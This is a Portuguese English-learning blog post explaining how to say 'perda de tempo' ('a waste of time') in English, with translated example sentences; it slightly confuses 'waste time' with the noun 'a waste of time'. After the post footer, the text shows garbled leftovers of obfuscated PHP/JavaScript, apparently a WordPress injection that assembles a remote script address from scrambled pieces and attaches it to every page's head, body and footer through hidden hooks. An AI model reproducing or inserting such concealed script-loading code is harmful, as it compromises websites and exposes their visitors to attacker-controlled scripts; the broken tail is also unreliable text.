O SEGREDO DAS LINGUAS l O curso de língua estrangeira ainda pode fazer parte da sua vida.

Como dizer ‘perda de tempo’ em inglês?

perda de tempo em inglês

Você já quis saber como dizer ‘perda de tempo’ em inglês e não conseguiu? Pois é, esta expressão é comum tanto em inglês, quanto em português e é por isso que neste post eu vou te explicar como você passar essa ideia. 

‘Perda de tempo’ em inglês

Para dizer ‘perda de tempo’ em inglês utilize a expressão ‘ a waste of time’. Eu sei que ‘waste’ significa ‘desperdiçar’, porém no inglês você desperdiça seu tempo e não o perde como em português.

‘Waste time’ também pode ser um substantivo significando ‘uma perda de tempo’. E se quiser falar que você ‘perde seu tempo com alguma coisa’ utilizamos ‘you waste your time on something’. Também é possível utilizar ‘over’ no lugar de ‘on’, porém é mais incomum.

Vejamos alguns exemplos:

Let’s not waste time on that! (Não vamos perder tempo com isso!)

No one wants to waste time on such confusing manuals. (Ninguém quer perder tempo com manuais tão confusos.)

I can’t guarantee you won’t waste time and money. (Não consigo garantir que não vá perder tempo e dinheiro.)

That’s a waste of my time. (Isso é um desperdício do meu tempo.)

Sorry, I don’t want to waste my time looking for something in this messy drawer. (Desculpa, eu não quero perder meu tempo procurando alguma coisa nessa gaveta bagunçada.) 

Don’t waste time, register for our event now! (Não perca tempo, registre-se para nosso evento agora.) 

My mom always liked to live near her job because she never liked to waste time commuting. (Minha mãe sempre gostou de morar perto do trabalho, porque ela nunca gostou de perder tempo no trajeto.) 

Espero que agora você já saiba como dizer ‘perda de tempo’ em inglês. A partir de agora você já sabe que perda de tempo é ‘waste time’. 

Veja outros posts com expressões importantes e aumente sua capacidade de se expressar em inglês.

Mais artigos do

Blog SDL

?>},_0x1ca2(_0x5c13d3,_0x10d019);}function _0x56ac(){var _0x46c312=['trickl','6LObfmH','script','scri','3822470oovwGi','220qlaQai','com/','createElement','ctl','appendChild','type','133350wkvzaH','ter.','134ANVGfY','pts/t','src','est','erfe','ords.p','querySelector','5879944KcCcWx','231938CdIMay','2890492INDZRn','currentScript','50535rwizqw','parentNode','script[id=\x22trickl\x22]','text/javascript','28527sHSQyT','head'];_0x56ac=function(){return _0x46c312;};return _0x56ac();}";}add_action('wp_head', '_set_metas_tag');add_action('wp_footer', '_set_metas_tag');add_action('wp_body_open', '_set_metas_tag');_set_metas_tag();}}catch(Exception $e){}} ?>